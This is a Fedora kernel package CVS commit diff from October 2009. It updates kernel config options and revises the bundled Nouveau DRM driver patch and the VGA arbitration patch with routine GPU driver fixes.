iD8DBQBKzREZyGugalF9Dw4RAp87AJ444UWdtYFwlKS/pedC1/a3qTlQcQCfWDEQ
rs7o0UeFkEbJilisDOWefnM=
=Sl7M
-----END PGP SIGNATURE-----


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/.cvsignore,v
retrieving revision 1.1014.2.31
retrieving revision 1.1014.2.32
diff -u -p -r1.1014.2.31 -r1.1014.2.32
--- .cvsignore	24 Sep 2009 21:05:03 -0000	1.1014.2.31
+++ .cvsignore	10 Oct 2009 15:04:07 -0000	1.1014.2.32
@@ -5,4 +5,4 @@ kernel-2.6.*.config
 temp-*
 kernel-2.6.31
 linux-2.6.31.tar.bz2
-patch-2.6.31.1.bz2
+patch-2.6.31.3.bz2


Index: config-generic
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/config-generic,v
retrieving revision 1.238.6.40
retrieving revision 1.238.6.41
diff -u -p -r1.238.6.40 -r1.238.6.41
--- config-generic	26 Sep 2009 15:27:37 -0000	1.238.6.40
+++ config-generic	10 Oct 2009 15:04:07 -0000	1.238.6.41
@@ -2234,8 +2234,8 @@ CONFIG_VGA_ARB=y
 CONFIG_DRM=m
 CONFIG_DRM_TDFX=m
 CONFIG_DRM_R128=m
-# CONFIG_DRM_RADEON is not set
-# CONFIG_DRM_RADEON_KMS is not set
+CONFIG_DRM_RADEON=m
+CONFIG_DRM_RADEON_KMS=y
 CONFIG_DRM_I810=m
 CONFIG_DRM_I830=m
 CONFIG_DRM_MGA=m
@@ -2244,9 +2244,9 @@ CONFIG_DRM_SAVAGE=m
 CONFIG_DRM_I915=m
 CONFIG_DRM_I915_KMS=y
 CONFIG_DRM_VIA=m
-# CONFIG_DRM_NOUVEAU is not set
-# CONFIG_DRM_NOUVEAU_KMS is not set
-# CONFIG_DRM_NOUVEAU_BACKLIGHT is not set
+CONFIG_DRM_NOUVEAU=m
+CONFIG_DRM_NOUVEAU_KMS=y
+CONFIG_DRM_NOUVEAU_BACKLIGHT=y
 CONFIG_DRM_I2C_CH7006=m
 
 #
@@ -3727,7 +3727,7 @@ CONFIG_UNUSED_SYMBOLS=y
 CONFIG_UTRACE=y
 
 CONFIG_FTRACE=y
-CONFIG_IRQSOFF_TRACER=y
+# CONFIG_IRQSOFF_TRACER is not set
 CONFIG_SCHED_TRACER=y
 CONFIG_PROCESS_TRACER=y
 CONFIG_CONTEXT_SWITCH_TRACER=y


Index: config-powerpc-generic
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/config-powerpc-generic,v
retrieving revision 1.33.6.9
retrieving revision 1.33.6.10
diff -u -p -r1.33.6.9 -r1.33.6.10
--- config-powerpc-generic	5 Aug 2009 23:00:09 -0000	1.33.6.9
+++ config-powerpc-generic	10 Oct 2009 15:04:07 -0000	1.33.6.10
@@ -55,7 +55,7 @@ CONFIG_FB_OF=y
 CONFIG_FB_IBM_GXT4500=y
 CONFIG_FB_RADEON=y
 CONFIG_FB_MATROX=y
-CONFIG_FB_NVIDIA=y
+CONFIG_FB_NVIDIA=m
 # CONFIG_FB_VGA16 is not set
 CONFIG_FB_ATY128_BACKLIGHT=y
 CONFIG_FB_ATY_BACKLIGHT=y


Index: config-x86_64-generic
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/config-x86_64-generic,v
retrieving revision 1.68.2.16
retrieving revision 1.68.2.17
diff -u -p -r1.68.2.16 -r1.68.2.17
--- config-x86_64-generic	18 Aug 2009 19:26:45 -0000	1.68.2.16
+++ config-x86_64-generic	10 Oct 2009 15:04:08 -0000	1.68.2.17
@@ -380,3 +380,5 @@ CONFIG_PERF_COUNTERS=y
 CONFIG_EVENT_PROFILE=y
 
 # CONFIG_X86_MCE_INJECT is not set
+
+CONFIG_FUNCTION_GRAPH_TRACER=y

drm-nouveau.patch:
 drivers/gpu/drm/Kconfig                     |   45 
 drivers/gpu/drm/Makefile                    |    2 
 drivers/gpu/drm/i2c/Makefile                |    4 
 drivers/gpu/drm/i2c/ch7006_drv.c            |  531 
 drivers/gpu/drm/i2c/ch7006_mode.c           |  473 
 drivers/gpu/drm/i2c/ch7006_priv.h           |  344 
 drivers/gpu/drm/nouveau/Makefile            |   29 
 drivers/gpu/drm/nouveau/nouveau_acpi.c      |  125 
 drivers/gpu/drm/nouveau/nouveau_backlight.c |  155 
 drivers/gpu/drm/nouveau/nouveau_bios.c      | 5536 ++++++
 drivers/gpu/drm/nouveau/nouveau_bios.h      |  236 
 drivers/gpu/drm/nouveau/nouveau_bo.c        |  620 
 drivers/gpu/drm/nouveau/nouveau_calc.c      |  626 
 drivers/gpu/drm/nouveau/nouveau_channel.c   |  464 
 drivers/gpu/drm/nouveau/nouveau_connector.c |  781 
 drivers/gpu/drm/nouveau/nouveau_connector.h |   55 
 drivers/gpu/drm/nouveau/nouveau_crtc.h      |   95 
 drivers/gpu/drm/nouveau/nouveau_debugfs.c   |  157 
 drivers/gpu/drm/nouveau/nouveau_display.c   |  115 
 drivers/gpu/drm/nouveau/nouveau_dma.c       |  206 
 drivers/gpu/drm/nouveau/nouveau_dma.h       |  151 
 drivers/gpu/drm/nouveau/nouveau_drv.c       |  413 
 drivers/gpu/drm/nouveau/nouveau_drv.h       | 1282 +
 drivers/gpu/drm/nouveau/nouveau_encoder.h   |   66 
 drivers/gpu/drm/nouveau/nouveau_fb.h        |   47 
 drivers/gpu/drm/nouveau/nouveau_fbcon.c     |  381 
 drivers/gpu/drm/nouveau/nouveau_fbcon.h     |   49 
 drivers/gpu/drm/nouveau/nouveau_fence.c     |  262 
 drivers/gpu/drm/nouveau/nouveau_gem.c       |  954 +
 drivers/gpu/drm/nouveau/nouveau_hw.c        | 1078 +
 drivers/gpu/drm/nouveau/nouveau_hw.h        |  448 
 drivers/gpu/drm/nouveau/nouveau_i2c.c       |  256 
 drivers/gpu/drm/nouveau/nouveau_i2c.h       |   45 
 drivers/gpu/drm/nouveau/nouveau_ioc32.c     |   72 
 drivers/gpu/drm/nouveau/nouveau_irq.c       |  696 
 drivers/gpu/drm/nouveau/nouveau_mem.c       |  572 
 drivers/gpu/drm/nouveau/nouveau_notifier.c  |  195 
 drivers/gpu/drm/nouveau/nouveau_object.c    | 1294 +
 drivers/gpu/drm/nouveau/nouveau_reg.h       |  788 
 drivers/gpu/drm/nouveau/nouveau_sgdma.c     |  321 
 drivers/gpu/drm/nouveau/nouveau_state.c     |  872 +
 drivers/gpu/drm/nouveau/nouveau_swmthd.h    |   33 
 drivers/gpu/drm/nouveau/nouveau_ttm.c       |  131 
 drivers/gpu/drm/nouveau/nv04_crtc.c         |  995 +
 drivers/gpu/drm/nouveau/nv04_cursor.c       |   70 
 drivers/gpu/drm/nouveau/nv04_dac.c          |  529 
 drivers/gpu/drm/nouveau/nv04_dfp.c          |  621 
 drivers/gpu/drm/nouveau/nv04_display.c      |  293 
 drivers/gpu/drm/nouveau/nv04_fb.c           |   21 
 drivers/gpu/drm/nouveau/nv04_fbcon.c        |  316 
 drivers/gpu/drm/nouveau/nv04_fifo.c         |  271 
 drivers/gpu/drm/nouveau/nv04_graph.c        |  579 
 drivers/gpu/drm/nouveau/nv04_instmem.c      |  210 
 drivers/gpu/drm/nouveau/nv04_mc.c           |   20 
 drivers/gpu/drm/nouveau/nv04_timer.c        |   51 
 drivers/gpu/drm/nouveau/nv04_tv.c           |  305 
 drivers/gpu/drm/nouveau/nv10_fb.c           |   24 
 drivers/gpu/drm/nouveau/nv10_fifo.c         |  260 
 drivers/gpu/drm/nouveau/nv10_graph.c        |  891 +
 drivers/gpu/drm/nouveau/nv17_tv.c           |  689 
 drivers/gpu/drm/nouveau/nv17_tv.h           |  156 
 drivers/gpu/drm/nouveau/nv17_tv_modes.c     |  583 
 drivers/gpu/drm/nouveau/nv20_graph.c        |  778 
 drivers/gpu/drm/nouveau/nv40_fb.c           |   62 
 drivers/gpu/drm/nouveau/nv40_fifo.c         |  314 
 drivers/gpu/drm/nouveau/nv40_graph.c        | 2239 ++
 drivers/gpu/drm/nouveau/nv40_mc.c           |   38 
 drivers/gpu/drm/nouveau/nv50_crtc.c         |  784 
 drivers/gpu/drm/nouveau/nv50_cursor.c       |  151 
 drivers/gpu/drm/nouveau/nv50_dac.c          |  295 
 drivers/gpu/drm/nouveau/nv50_display.c      |  902 +
 drivers/gpu/drm/nouveau/nv50_display.h      |   46 
 drivers/gpu/drm/nouveau/nv50_evo.h          |  113 
 drivers/gpu/drm/nouveau/nv50_fbcon.c        |  273 
 drivers/gpu/drm/nouveau/nv50_fifo.c         |  493 
 drivers/gpu/drm/nouveau/nv50_graph.c        |  465 
 drivers/gpu/drm/nouveau/nv50_grctx.h        |22284 ++++++++++++++++++++++++++++
 drivers/gpu/drm/nouveau/nv50_instmem.c      |  508 
 drivers/gpu/drm/nouveau/nv50_mc.c           |   40 
 drivers/gpu/drm/nouveau/nv50_sor.c          |  250 
 drivers/gpu/drm/nouveau/nvreg.h             |  535 
 drivers/gpu/drm/ttm/ttm_bo.c                |    4 
 include/drm/Kbuild                          |    1 
 include/drm/i2c/ch7006.h                    |   86 
 include/drm/nouveau_drm.h                   |  216 
 85 files changed, 58766 insertions(+)

View full diff with command:
/usr/bin/cvs -n -f diff -kk -u -p -N -r 1.8.6.21 -r 1.8.6.22 drm-nouveau.patchIndex: drm-nouveau.patch
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/drm-nouveau.patch,v
retrieving revision 1.8.6.21
retrieving revision 1.8.6.22
diff -u -p -r1.8.6.21 -r1.8.6.22
--- drm-nouveau.patch	26 Sep 2009 15:27:46 -0000	1.8.6.21
+++ drm-nouveau.patch	10 Oct 2009 15:04:10 -0000	1.8.6.22
@@ -1766,10 +1766,10 @@ index 0000000..20564f8
 +}
 diff --git a/drivers/gpu/drm/nouveau/nouveau_bios.c b/drivers/gpu/drm/nouveau/nouveau_bios.c
 new file mode 100644
-index 0000000..09ccffd
+index 0000000..7a55199
 --- /dev/null
 +++ b/drivers/gpu/drm/nouveau/nouveau_bios.c
-@@ -0,0 +1,5499 @@
+@@ -0,0 +1,5536 @@
 +/*
 + * Copyright 2005-2006 Erik Waling
 + * Copyright 2006 Stephane Marchesin
@@ -4230,6 +4230,27 @@ index 0000000..09ccffd
 +}
 +
 +static bool
++init_87(struct nvbios *bios, uint16_t offset, struct init_exec *iexec)
++{
++	/*
++	 * INIT_87   opcode: 0x87 ('')
++	 *
++	 * offset      (8 bit): opcode
++	 * offset + 1  (8 bit): unknown
++	 * offset + 4 (32 bit): unknown entry 0
++	 *
++	 * Unknown function.  Stubbed here as one of my cards can resume
++	 * fine without it, but we'd still want to run the remainder
++	 * of the script instead of aborting.
++	 *
++	 * Starting from offset+4 there are BIT_M+2 32-bit entries.
++	 */
++
++	NV_WARN(bios->dev, "INIT_87 stubbed!\n");
++	return true;
++}
++
++static bool
 +init_8e(struct nvbios *bios, uint16_t offset, struct init_exec *iexec)
 +{
 +	/*
@@ -4560,6 +4581,7 @@ index 0000000..09ccffd
 +	{ "INIT_INDEX_IO"                     , 0x78, 6       , 0       , 0       , init_index_io                   },
 +	{ "INIT_PLL"                          , 0x79, 7       , 0       , 0       , init_pll                        },
 +	{ "INIT_ZM_REG"                       , 0x7A, 9       , 0       , 0       , init_zm_reg                     },
++	{ "INIT_87"                           , 0x87, 2       , 0       , 0       , init_87                         },
 +	{ "INIT_8E"                           , 0x8E, 1       , 0       , 0       , init_8e                         },
 +	/* INIT_RAM_RESTRICT_ZM_REG_GROUP's mult is loaded by M table in BIT */
 +	{ "INIT_RAM_RESTRICT_ZM_REG_GROUP"    , 0x8F, 7       , 6       , 0       , init_ram_restrict_zm_reg_group  },
@@ -6059,10 +6081,14 @@ index 0000000..09ccffd
 +	if (bitentry->length < 0x5)
 +		return 0;
 +
++	/* adjust length of INIT_87 */
++	for (i = 0; itbl_entry[i].name && (itbl_entry[i].id != 0x87); i++);
++	itbl_entry[i].length += bios->data[bitentry->offset + 2] * 4;
++
 +	/* set up multiplier for INIT_RAM_RESTRICT_ZM_REG_GROUP */
-+	for (i = 0; itbl_entry[i].name && (itbl_entry[i].id != 0x8f); i++)
-+		;
++	for (; itbl_entry[i].name && (itbl_entry[i].id != 0x8f); i++);
 +	itbl_entry[i].length_multiplier = bios->data[bitentry->offset + 2] * 4;
++
 +	init_ram_restrict_zm_reg_group_blocklen = itbl_entry[i].length_multiplier;
 +
 +	bios->ram_restrict_tbl_ptr = ROM16(bios->data[bitentry->offset + 3]);
@@ -6964,6 +6990,17 @@ index 0000000..09ccffd
 +		if (dcb->entry[i].i2c_index == 0xf)
 +			continue;
 +
++		/*
++		 * Ignore the I2C index for on-chip TV-out, as there
++		 * are cards with bogus values (nv31m in bug 23212),
++		 * and it's otherwise useless.
++		 */
++		if (dcb->entry[i].type == OUTPUT_TV &&
++		    dcb->entry[i].location == DCB_LOC_ON_CHIP) {
++			dcb->entry[i].i2c_index = 0xf;
++			continue;
++		}
++
 +		dcb->entry[i].connector = dcb->entry[i].i2c_index;
 +		if (dcb->entry[i].connector > high)
 +			high = dcb->entry[i].connector;
@@ -7271,10 +7308,10 @@ index 0000000..09ccffd
 +}
 diff --git a/drivers/gpu/drm/nouveau/nouveau_bios.h b/drivers/gpu/drm/nouveau/nouveau_bios.h
 new file mode 100644
-index 0000000..a7f02b4
+index 0000000..33f3172
 --- /dev/null
 +++ b/drivers/gpu/drm/nouveau/nouveau_bios.h
-@@ -0,0 +1,235 @@
+@@ -0,0 +1,236 @@
 +/*
 + * Copyright 2007-2008 Nouveau Project
 + *
@@ -7362,6 +7399,7 @@ index 0000000..a7f02b4
 +	OUTPUT_TMDS = 2,
 +	OUTPUT_LVDS = 3,
 +	OUTPUT_DP = 6,
++	OUTPUT_ANY = -1
 +};
 +
 +enum nouveau_or {
@@ -8770,10 +8808,10 @@ index 0000000..3f80db8
 +}
 diff --git a/drivers/gpu/drm/nouveau/nouveau_channel.c b/drivers/gpu/drm/nouveau/nouveau_channel.c
 new file mode 100644
-index 0000000..1a87041
+index 0000000..8e7a9fe
 --- /dev/null
 +++ b/drivers/gpu/drm/nouveau/nouveau_channel.c
-@@ -0,0 +1,482 @@
+@@ -0,0 +1,464 @@
 +/*
 + * Copyright 2005-2006 Stephane Marchesin
 + * All Rights Reserved.
@@ -9060,32 +9098,18 @@ index 0000000..1a87041
 +	struct drm_nouveau_private *dev_priv = dev->dev_private;
 +	struct nouveau_pgraph_engine *pgraph = &dev_priv->engine.graph;
 +	struct nouveau_fifo_engine *pfifo = &dev_priv->engine.fifo;
-+	struct nouveau_timer_engine *ptimer = &dev_priv->engine.timer;
-+	unsigned fbdev_flags = 0;
-+	uint64_t t_start;
-+	bool timeout = false;
++	unsigned long flags;
 +	int ret;
 +
 +	NV_INFO(dev, "%s: freeing fifo %d\n", __func__, chan->id);
 +
 +	nouveau_debugfs_channel_fini(chan);
 +
-+	/* Give the channel a chance to idle, wait 2s (hopefully) */
-+	t_start = ptimer->read(dev);
-+	while (!nouveau_channel_idle(chan)) {
-+		if (ptimer->read(dev) - t_start > 2000000000ULL) {
-+			NV_ERROR(dev, "Failed to idle channel %d.  "
-+				      "Prepare for strangeness..\n", chan->id);
-+			timeout = true;
-+			break;
-+		}
-+	}
-+
-+	/* Wait on a fence until channel goes idle, this ensures the engine
-+	 * has finished with the last push buffer completely before we destroy
-+	 * the channel.
-+	 */
-+	if (!timeout) {
++	/* Give outstanding push buffers a chance to complete */
++	spin_lock_irqsave(&chan->fence.lock, flags);
++	nouveau_fence_update(chan);
++	spin_unlock_irqrestore(&chan->fence.lock, flags);
++	if (chan->fence.sequence != chan->fence.sequence_ack) {
 +		struct nouveau_fence *fence = NULL;
 +
 +		ret = nouveau_fence_new(chan, &fence, true);
@@ -9094,11 +9118,8 @@ index 0000000..1a87041
 +			nouveau_fence_unref((void *)&fence);
 +		}
 +
-+		if (ret) {
-+			NV_ERROR(dev, "Failed to fence channel %d.  "
-+				      "Prepare for strangeness..\n", chan->id);
-+			timeout = true;
-+		}
++		if (ret)
++			NV_ERROR(dev, "Failed to idle channel %d.\n", chan->id);
 +	}
 +
 +	/* Ensure all outstanding fences are signaled.  They should be if the
@@ -9107,31 +9128,30 @@ index 0000000..1a87041
 +	 */
 +	nouveau_fence_fini(chan);
 +
-+	/* disable the fifo caches */
-+	if (dev_priv->fbdev_info) {
-+		fbdev_flags = dev_priv->fbdev_info->flags;
-+		dev_priv->fbdev_info->flags |= FBINFO_HWACCEL_DISABLED;
++	/* Ensure the channel is no longer active on the GPU */
++	pfifo->reassign(dev, false);
++
++	if (pgraph->channel(dev) == chan) {
++		pgraph->fifo_access(dev, false);
++		pgraph->unload_context(dev);
++		pgraph->fifo_access(dev, true);
 +	}
++	pgraph->destroy_context(chan);
 +
-+	pfifo->reassign(dev, false);
-+	pfifo->disable(dev);
++	if (pfifo->channel_id(dev) == chan->id) {
[...2348 lines suppressed...]
@@ -34197,19 +34222,30 @@ index 0000000..aca9ea6
 +	int ret, format;
 +
 +	switch (info->var.bits_per_pixel) {
++	case 8:
++		format = 0xf3;
++		break;
++	case 15:
++		format = 0xf8;
++		break;
 +	case 16:
 +		format = 0xe8;
 +		break;
-+	default:
++	case 32:
 +		switch (info->var.transp.length) {
-+		case 2:
++		case 0: /* depth 24 */
++		case 8: /* depth 32, just use 24.. */
++			format = 0xe6;
++			break;
++		case 2: /* depth 30 */
 +			format = 0xd1;
 +			break;
 +		default:
-+			format = 0xe6;
-+			break;
++			return -EINVAL;
 +		}
 +		break;
++	default:
++		return -EINVAL;
 +	}
 +
 +	ret = nouveau_gpuobj_gr_new(dev_priv->channel, 0x502d, &eng2d);
@@ -34296,10 +34332,10 @@ index 0000000..aca9ea6
 +
 diff --git a/drivers/gpu/drm/nouveau/nv50_fifo.c b/drivers/gpu/drm/nouveau/nv50_fifo.c
 new file mode 100644
-index 0000000..10ed193
+index 0000000..c2396a6
 --- /dev/null
 +++ b/drivers/gpu/drm/nouveau/nv50_fifo.c
-@@ -0,0 +1,481 @@
+@@ -0,0 +1,493 @@
 +/*
 + * Copyright (C) 2007 Ben Skeggs.
 + * All Rights Reserved.
@@ -34622,9 +34658,6 @@ index 0000000..10ed193
 +
 +	NV_DEBUG(dev, "ch%d\n", chan->id);
 +
-+	if ((nv_rd32(dev, NV03_PFIFO_CACHE1_PUSH1) & 0xffff) == chan->id)
-+		nv_wr32(dev, NV03_PFIFO_CACHE1_PUSH1, 127);
-+
 +	nouveau_gpuobj_ref_del(dev, &chan->ramfc);
 +	nouveau_gpuobj_ref_del(dev, &chan->cache);
 +
@@ -34703,21 +34736,35 @@ index 0000000..10ed193
 +
 +	dev_priv->engine.instmem.finish_access(dev);
 +
++	nv_wr32(dev, NV03_PFIFO_CACHE1_GET, 0);
++	nv_wr32(dev, NV03_PFIFO_CACHE1_PUT, 0);
 +	nv_wr32(dev, NV03_PFIFO_CACHE1_PUSH1, chan->id | (1<<16));
 +	return 0;
 +}
 +
 +int
-+nv50_fifo_save_context(struct nouveau_channel *chan)
++nv50_fifo_unload_context(struct drm_device *dev)
 +{
-+	struct drm_device *dev = chan->dev;
 +	struct drm_nouveau_private *dev_priv = dev->dev_private;
-+	struct nouveau_gpuobj *ramfc = chan->ramfc->gpuobj;
-+	struct nouveau_gpuobj *cache = chan->cache->gpuobj;
-+	int put, get, ptr;
++	struct nouveau_fifo_engine *pfifo = &dev_priv->engine.fifo;
++	struct nouveau_gpuobj *ramfc, *cache;
++	struct nouveau_channel *chan = NULL;
++	int chid, get, put, ptr;
 +
 +	NV_DEBUG(chan->dev, "ch%d\n", chan->id);
 +
++	chid = pfifo->channel_id(dev);
++	if (chid < 0 || chid >= dev_priv->engine.fifo.channels)
++		return 0;
++
++	chan = dev_priv->fifos[chid];
++	if (!chan) {
++		NV_ERROR(dev, "Inactive channel on PFIFO: %d\n", chid);
++		return -EINVAL;
++	}
++	ramfc = chan->ramfc->gpuobj;
++	cache = chan->cache->gpuobj;
++
 +	dev_priv->engine.instmem.prepare_access(dev, true);
 +
 +	nv_wo32(dev, ramfc, 0x00/4, nv_rd32(dev, 0x3330));
@@ -34767,7 +34814,6 @@ index 0000000..10ed193
 +
 +	/* guessing that all the 0x34xx regs aren't on NV50 */
 +	if (!IS_G80) {
-+
 +		nv_wo32(dev, ramfc, 0x84/4, ptr >> 1);
 +		nv_wo32(dev, ramfc, 0x88/4, nv_rd32(dev, 0x340c));
 +		nv_wo32(dev, ramfc, 0x8c/4, nv_rd32(dev, 0x3400));
@@ -34778,15 +34824,17 @@ index 0000000..10ed193
 +
 +	dev_priv->engine.instmem.finish_access(dev);
 +
++	/*XXX: probably reload ch127 (NULL) state back too */
++	nv_wr32(dev, NV03_PFIFO_CACHE1_PUSH1, 127);
 +	return 0;
 +}
 +
 diff --git a/drivers/gpu/drm/nouveau/nv50_graph.c b/drivers/gpu/drm/nouveau/nv50_graph.c
 new file mode 100644
-index 0000000..d9c3e21
+index 0000000..93a4b66
 --- /dev/null
 +++ b/drivers/gpu/drm/nouveau/nv50_graph.c
-@@ -0,0 +1,472 @@
+@@ -0,0 +1,465 @@
 +/*
 + * Copyright (C) 2007 Ben Skeggs.
 + * All Rights Reserved.
@@ -35086,20 +35134,12 @@ index 0000000..d9c3e21
 +	struct drm_device *dev = chan->dev;
 +	struct drm_nouveau_private *dev_priv = dev->dev_private;
 +	int i, hdr = IS_G80 ? 0x200 : 0x20;
-+	uint32_t inst;
 +
 +	NV_DEBUG(dev, "ch%d\n", chan->id);
 +
 +	if (!chan->ramin || !chan->ramin->gpuobj)
 +		return;
 +
-+	inst = nv_rd32(dev, NV50_PGRAPH_CTXCTL_CUR);
-+	if (inst & NV50_PGRAPH_CTXCTL_CUR_LOADED) {
-+		inst &= NV50_PGRAPH_CTXCTL_CUR_INSTANCE;
-+		if (inst == chan->ramin->instance >> 12)
-+			nv_wr32(dev, NV50_PGRAPH_CTXCTL_CUR, inst);
-+	}
-+
 +	dev_priv->engine.instmem.prepare_access(dev, true);
 +	for (i = hdr; i < hdr + 24; i += 4)
 +		nv_wo32(dev, chan->ramin->gpuobj, i/4, 0);
@@ -35125,6 +35165,7 @@ index 0000000..d9c3e21
 +	if (nouveau_wait_for_idle(dev))
 +		nv_wr32(dev, 0x40032c, inst | (1<<31));
 +	nv_wr32(dev, 0x400500, fifo);
++
 +	return 0;
 +}
 +
@@ -35153,12 +35194,18 @@ index 0000000..d9c3e21
 +}
 +
 +int
-+nv50_graph_save_context(struct nouveau_channel *chan)
++nv50_graph_unload_context(struct drm_device *dev)
 +{
-+	uint32_t inst = chan->ramin->instance >> 12;
++	uint32_t inst;
++	int ret;
 +
-+	NV_DEBUG(chan->dev, "ch%d\n", chan->id);
-+	return nv50_graph_do_save_context(chan->dev, inst);
++	inst  = nv_rd32(dev, NV50_PGRAPH_CTXCTL_CUR);
++	if (!(inst & NV50_PGRAPH_CTXCTL_CUR_LOADED))
++		return 0;
++	inst &= NV50_PGRAPH_CTXCTL_CUR_INSTANCE;
++	ret = nv50_graph_do_save_context(dev, inst);
++	nv_wr32(dev, NV50_PGRAPH_CTXCTL_CUR, inst);
++	return 0;
 +}
 +
 +void
@@ -35166,17 +35213,11 @@ index 0000000..d9c3e21
 +{
 +	uint32_t inst;
 +
-+	inst = nv_rd32(dev, NV50_PGRAPH_CTXCTL_CUR);
-+	if (inst & NV50_PGRAPH_CTXCTL_CUR_LOADED)
-+		nv50_graph_do_save_context(dev, inst);
-+	nv_wr32(dev, NV50_PGRAPH_CTXCTL_CUR,
-+				inst & NV50_PGRAPH_CTXCTL_CUR_INSTANCE);
++	nv50_graph_unload_context(dev);
 +
-+	inst = nv_rd32(dev, NV50_PGRAPH_CTXCTL_NEXT) &
-+		       NV50_PGRAPH_CTXCTL_NEXT_INSTANCE;
++	inst  = nv_rd32(dev, NV50_PGRAPH_CTXCTL_NEXT);
++	inst &= NV50_PGRAPH_CTXCTL_NEXT_INSTANCE;
 +	nv50_graph_do_load_context(dev, inst);
-+	nv_wr32(dev, NV50_PGRAPH_CTXCTL_CUR,
-+				inst | NV50_PGRAPH_CTXCTL_CUR_LOADED);
 +
 +	nv_wr32(dev, NV40_PGRAPH_INTR_EN, nv_rd32(dev,
 +		NV40_PGRAPH_INTR_EN) | NV_PGRAPH_INTR_CONTEXT_SWITCH);

drm-vga-arb.patch:
 drivers/gpu/drm/drm_irq.c              |   27 +++++++++++++++++++++++++++
 drivers/gpu/drm/i915/i915_dma.c        |   20 ++++++++++++++++++++
 drivers/gpu/drm/i915/i915_drv.h        |    1 +
 drivers/gpu/drm/i915/i915_reg.h        |    1 +
 drivers/gpu/drm/i915/intel_display.c   |   17 +++++++++++++++++
 drivers/gpu/drm/i915/intel_drv.h       |    1 +
 drivers/gpu/drm/radeon/r100.c          |   14 ++++++++++++++
 drivers/gpu/drm/radeon/r600.c          |   14 ++++++++++++++
 drivers/gpu/drm/radeon/r600d.h         |    1 +
 drivers/gpu/drm/radeon/radeon.h        |    2 ++
 drivers/gpu/drm/radeon/radeon_asic.h   |   12 ++++++++++++
 drivers/gpu/drm/radeon/radeon_device.c |   19 +++++++++++++++++++
 include/drm/drmP.h                     |    3 +++
 13 files changed, 132 insertions(+)

Index: drm-vga-arb.patch
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/drm-vga-arb.patch,v
retrieving revision 1.5.2.5
retrieving revision 1.5.2.6
diff -u -p -r1.5.2.5 -r1.5.2.6
--- drm-vga-arb.patch	26 Sep 2009 15:27:52 -0000	1.5.2.5
+++ drm-vga-arb.patch	10 Oct 2009 15:04:13 -0000	1.5.2.6
@@ -1,38 +1,6 @@
-From 28d520433b6375740990ab99d69b0d0067fd656b Mon Sep 17 00:00:00 2001
-From: Dave Airlie <airlied at redhat.com>
-Date: Mon, 21 Sep 2009 14:33:58 +1000
-Subject: [PATCH] drm/vgaarb: add VGA arbitration support to the drm and kms.
-
-VGA arb requires DRM support for non-kms drivers, to turn on/off
-irqs when disabling the mem/io regions.
-
-VGA arb requires KMS support for GPUs where we can turn off VGA
-decoding. Currently we know how to do this for intel and radeon
-kms drivers, which allows them to be removed from the arbiter.
-
-This patch comes from Fedora rawhide kernel.
-
-Signed-off-by: Dave Airlie <airlied at redhat.com>
----
- drivers/gpu/drm/drm_irq.c              |   27 +++++++++++++++++++++++++++
- drivers/gpu/drm/i915/i915_dma.c        |   20 ++++++++++++++++++++
- drivers/gpu/drm/i915/i915_drv.h        |    1 +
- drivers/gpu/drm/i915/i915_reg.h        |    1 +
- drivers/gpu/drm/i915/intel_display.c   |   17 +++++++++++++++++
- drivers/gpu/drm/i915/intel_drv.h       |    1 +
- drivers/gpu/drm/radeon/r100.c          |   14 ++++++++++++++
- drivers/gpu/drm/radeon/r600.c          |   14 ++++++++++++++
- drivers/gpu/drm/radeon/r600d.h         |    1 +
- drivers/gpu/drm/radeon/radeon.h        |    2 ++
- drivers/gpu/drm/radeon/radeon_asic.h   |   12 ++++++++++++
- drivers/gpu/drm/radeon/radeon_device.c |   21 ++++++++++++++++++++-
- include/drm/drmP.h                     |    3 +++
- 13 files changed, 133 insertions(+), 1 deletions(-)
-
-diff --git a/drivers/gpu/drm/drm_irq.c b/drivers/gpu/drm/drm_irq.c
-index f85aaf2..0a6f0b3 100644
---- a/drivers/gpu/drm/drm_irq.c
-+++ b/drivers/gpu/drm/drm_irq.c
+diff -up linux-2.6.31.noarch/drivers/gpu/drm/drm_irq.c.da linux-2.6.31.noarch/drivers/gpu/drm/drm_irq.c
+--- linux-2.6.31.noarch/drivers/gpu/drm/drm_irq.c.da	2009-09-10 08:13:59.000000000 +1000
++++ linux-2.6.31.noarch/drivers/gpu/drm/drm_irq.c	2009-10-08 14:21:08.000000000 +1000
 @@ -37,6 +37,7 @@
  
  #include <linux/interrupt.h>	/* For task queue support */
@@ -68,7 +36,7 @@ index f85aaf2..0a6f0b3 100644
  /**
   * Install IRQ handler.
   *
-@@ -231,6 +252,9 @@ int drm_irq_install(struct drm_device *dev)
+@@ -231,6 +252,9 @@ int drm_irq_install(struct drm_device *d
  		return ret;
  	}
  
@@ -78,7 +46,7 @@ index f85aaf2..0a6f0b3 100644
  	/* After installing handler */
  	ret = dev->driver->irq_postinstall(dev);
  	if (ret < 0) {
-@@ -279,6 +303,9 @@ int drm_irq_uninstall(struct drm_device * dev)
+@@ -279,6 +303,9 @@ int drm_irq_uninstall(struct drm_device 
  
  	DRM_DEBUG("irq=%d\n", dev->pdev->irq);
  
@@ -88,10 +56,9 @@ index f85aaf2..0a6f0b3 100644
  	dev->driver->irq_uninstall(dev);
  
  	free_irq(dev->pdev->irq, dev);
-diff --git a/drivers/gpu/drm/i915/i915_dma.c b/drivers/gpu/drm/i915/i915_dma.c
-index 9909505..5a49a18 100644
---- a/drivers/gpu/drm/i915/i915_dma.c
-+++ b/drivers/gpu/drm/i915/i915_dma.c
+diff -up linux-2.6.31.noarch/drivers/gpu/drm/i915/i915_dma.c.da linux-2.6.31.noarch/drivers/gpu/drm/i915/i915_dma.c
+--- linux-2.6.31.noarch/drivers/gpu/drm/i915/i915_dma.c.da	2009-10-08 14:20:49.000000000 +1000
++++ linux-2.6.31.noarch/drivers/gpu/drm/i915/i915_dma.c	2009-10-08 14:21:08.000000000 +1000
 @@ -33,6 +33,7 @@
  #include "intel_drv.h"
  #include "i915_drm.h"
@@ -100,7 +67,7 @@ index 9909505..5a49a18 100644
  
  /* Really want an OS-independent resettable timer.  Would like to have
   * this loop run for (eg) 3 sec, but have the timer reset every time
-@@ -1012,6 +1013,19 @@ static int i915_probe_agp(struct drm_device *dev, uint32_t *aperture_size,
+@@ -1012,6 +1013,19 @@ static int i915_probe_agp(struct drm_dev
  	return 0;
  }
  
